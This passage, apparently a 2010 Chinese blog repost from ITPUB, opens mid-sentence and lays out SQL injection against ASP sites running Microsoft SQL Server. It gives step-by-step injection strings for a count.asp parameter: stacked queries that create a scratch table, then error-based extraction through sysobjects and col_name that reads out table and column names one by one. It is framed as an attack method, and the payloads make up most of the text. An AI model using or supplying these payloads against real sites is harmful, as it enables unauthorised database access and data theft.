SQL指令碼注入的不常見方法概括

iSQlServer發表於2010-04-22
據庫存有一個副本。另處根據模板生成一個HTML頁面。

  攻擊方法: 檢視原始檔/看裡面是否有通過JS來呼叫的頁面。如呼叫來更新文章的瀏覽次數。

  我們就可以這樣來試一下可否注入: http://伺服器域名/count.asp?id=1552’

  看一下是否出錯。如出錯說明有注入漏洞。然後正常攻擊。

  在本機建立一下post.htm的檔案和log.txt的文字檔案(用來記錄用,這是一個好習慣)

  post.htm內容:主要是方便輸入。

  對於SQLSERVER的伺服器可以這樣判斷:在1552後加一分號,如正常有可能是SQLSERVER

  對於這類資料庫可以先建一個表id=1552; create table aaa(aaa char(20)); --

  然後插入一條記錄:id=1552; insert into aaa values(’test’); --

  再之後列舉出他的資料表名:

  id=1552; update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0); --

  這是將第一個表名更新到aaa的欄位處。

  id=1552 and exists(select * from aaa where aaa>5)就會報錯,多數情況會將表名直接讀出:

  Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07’

  將 varchar 值 ’vote’ 轉換為資料型別為 int 的列時發生語法錯誤。

  /search.asp,行21

  其中vote就是表名:

  也可以先猜出一個表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那個表的一條記錄中去。通過網頁顯示。

  讀出第一個表,第二個表可以這樣讀出來(在條件後加上 and name<>’剛才得到的表名’)。

  id=1552; update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’); --

  然後id=1552 and exists(select * from aaa where aaa>5)

  讀出第二個表,^^^^^^一個個的讀出,直到沒有為止。

  讀欄位是這樣:

  id=1552; update aaa set aaa=(select top 1 col_name(object_id(’表名’),1)); --

  然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名

  id=1552; update aaa set aaa=(select top 1 col_name(object_id(’表名’),2)); --

  然後id=1552 and exists(select * from aaa where aaa>5)出錯,得到欄位名

  ……類推

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/16436858/viewspace-660414/,如需轉載,請註明出處,否則將追究法律責任。

相關文章